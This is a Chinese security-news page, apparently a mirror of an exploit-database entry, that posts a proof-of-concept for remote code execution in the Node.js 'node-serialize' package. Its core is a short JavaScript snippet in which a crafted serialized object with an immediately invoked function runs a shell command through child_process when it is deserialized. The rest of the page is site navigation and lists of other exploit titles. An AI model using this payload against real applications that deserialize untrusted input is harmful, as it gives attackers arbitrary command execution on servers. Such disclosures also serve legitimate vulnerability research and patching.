Node.JS - 'node-serialize' Remote Code Execution

首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Node.JS - 'node-serialize' Remote Code Execution

来源：vfocus.net 作者：OpSecX 发布时间：2018-08-28

	var serialize = require('node-serialize'); var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}'; serialize.unserialize(payload);

[

评论(0条)] [返回顶部] [打印本页] [关闭窗口]

匿名评论

评论内容：(不能超过250字，需审核后才会公布，请自觉遵守互联网相关政策法规。

§最新评论：

热点文章

·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1

相关文章

·Libpango 1.40.8 - Denial of Se
·LiteCart 2.1.2 - Arbitrary Fil
·Trend Micro Enterprise Mobile
·HP Jetdirect - Path Traversal
·Apache Struts 2.3 < 2.3.34 / 2
·Cisco Network Assistant 6.3.3
·Apache Struts 2.3 < 2.3.34 / 2
·Instagram App 41.1788.50991.0
·CuteFTP 5.0 - Buffer Overflow
·Textpad 8.1.2 Denial Of Servic
·Firefox 55.0.3 - Denial of Ser
·UltraISO 9.7.1.3519 - Buffer O

推荐广告

CopyRight © 2002-2022 VFocuS.Net All Rights Reserved